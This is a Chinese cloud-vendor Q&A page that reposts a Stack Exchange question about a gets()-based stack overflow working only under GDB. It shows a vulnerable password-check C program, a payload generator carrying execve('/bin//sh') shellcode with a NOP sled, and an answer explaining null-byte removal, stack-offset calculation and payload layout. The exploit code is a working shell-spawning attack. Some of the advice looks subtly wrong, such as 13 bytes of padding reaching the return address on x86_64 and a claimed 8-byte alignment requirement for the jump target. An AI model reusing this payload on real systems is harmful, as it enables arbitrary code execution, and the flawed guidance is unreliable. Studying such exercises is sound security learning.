You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

基于gets的栈溢出攻击问题:仅GDB内可执行,外部运行失败

小缓冲区栈溢出攻击问题排查与解决思路

漏洞代码

#include <stdio.h>
#include <string.h>

int main() {
    /* buffer de 9 posições guarda uma string de 8 bytes + o \0 */
    char buff[9];
    int pass = 0;

    printf("\nDigite a senha: ");
    gets(buff);

    if(strcmp(buff, "admin123")) {
        printf ("\n[!] Errou...\n");
    } else {
        printf ("\n[+] Senha correta!\n");
        pass = 1;
    }

    if(pass) {
        printf ("\n*** Parabéns, você entrou no sistema! ***\n");
    }

    return 0;
}

Payload生成代码

#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90

// 替换为无NULL字节的shellcode,避免被gets截断
unsigned char shellcode[] =
  "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05";

// 生成适配小缓冲区的payload
int main(int argc, char** argv)
{
    int nop_padding = 32;  // 缩短NOP滑条适配小栈空间
    int code_size = 23;    // 新shellcode长度
    int padding = 13;      // 9字节buff + 4字节pass,刚好覆盖到返回地址
    int eip_size = 8;      // x86_64返回地址长度

    int total_size = padding + eip_size + nop_padding + code_size;
    unsigned char* code = shellcode;
    unsigned char buff[total_size];

    // 填充到返回地址前的空间
    for(int i = 0; i < padding; i++)
        buff[i] = 'A';

    // 写入小端序的返回地址
    unsigned long long addr = strtoull(argv[1], NULL, 16);
    for(int i = 0; i < eip_size; i++)
    {
        buff[padding + i] = addr & 0xff;
        addr = addr >> 8;
    }

    // 写入NOP滑条
    for(int i = 0; i < nop_padding; i++)
        buff[padding + eip_size + i] = NOP;

    // 写入shellcode
    for(int i = 0; i < code_size; i++)
        buff[padding + eip_size + nop_padding + i] = code[i];

    // 输出payload
    for(int i = 0; i < total_size; i++)
        printf("%c", buff[i]);

    return 0;
}

当前遇到的问题

  • GDB调试时能触发shell生成提示,但无法看到交互shell;GDB外运行时攻击完全失效
  • 已知GDB环境变量会导致栈偏移,尝试用ltrace获取缓冲区地址计算跳转位置,但每次均出现无效指令或段错误
  • 缓冲区仅9字节(含后续int变量共13字节可覆盖空间),将shellcode放在main返回地址之后仅在GDB内有效

核心解决思路

1. 修复Shellcode的NULL字节问题

原shellcode中包含\x00(用于终止/bin/sh字符串),而gets函数遇到NULL字节会立即停止读取,导致后续的NOP滑条和shellcode被截断,这是攻击失效的核心原因。替换为无NULL字节的shellcode(如上述payload代码中的版本),通过push指令构造/bin//sh(双斜杠避免NULL),确保gets能完整写入整个payload。

2. 精准计算GDB内外的栈偏移

  • 获取真实栈地址:临时修改漏洞代码,添加printf("buff address: %p\n", buff);,编译后在GDB外运行一次,得到真实的缓冲区起始地址;再在GDB内运行同一程序,对比两个地址的差值,即为栈偏移量(通常GDB会使栈地址降低0x100~0x200字节,具体以实测为准)。
  • 计算跳转目标地址:shellcode位于返回地址之后,所以跳转地址为buff真实地址 + 13(填充到返回地址的长度) + 8(返回地址长度) + 16(NOP滑条中间位置,容错更高),确保地址是8字节对齐(x86_64栈要求)。

3. 优化Payload布局适配小缓冲区

缓冲区仅9字节,加上后续4字节的pass变量,总共13字节到返回地址。因此payload布局必须严格为:
[13个填充字节] + [8字节返回地址] + [NOP滑条] + [shellcode]
修改payload生成代码中的padding值为13,确保填充刚好覆盖到返回地址,后续的NOP和shellcode能被gets完整写入栈中。

4. 解决GDB内无法显示shell的问题

GDB会接管程序的标准输入输出,触发shell后不会直接交互。可以通过以下方式解决:

  • 运行程序时使用run < /dev/tty,让程序使用终端的输入输出
  • 触发shell后在GDB中执行continue,然后直接输入shell命令(如ls),或按Ctrl+D退出后重新获取shell

5. 验证返回地址的正确性

避免使用ltrace获取地址,直接通过临时打印缓冲区地址的方式得到真实地址,计算跳转目标后,可在GDB中用x/20wx 跳转地址查看是否为NOP滑条,确保跳转位置正确。如果出现无效指令,检查地址是否为8字节对齐,或payload是否被截断。

内容的提问来源于stack exchange,提问作者Gabriel Lüders

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.21 11:32:03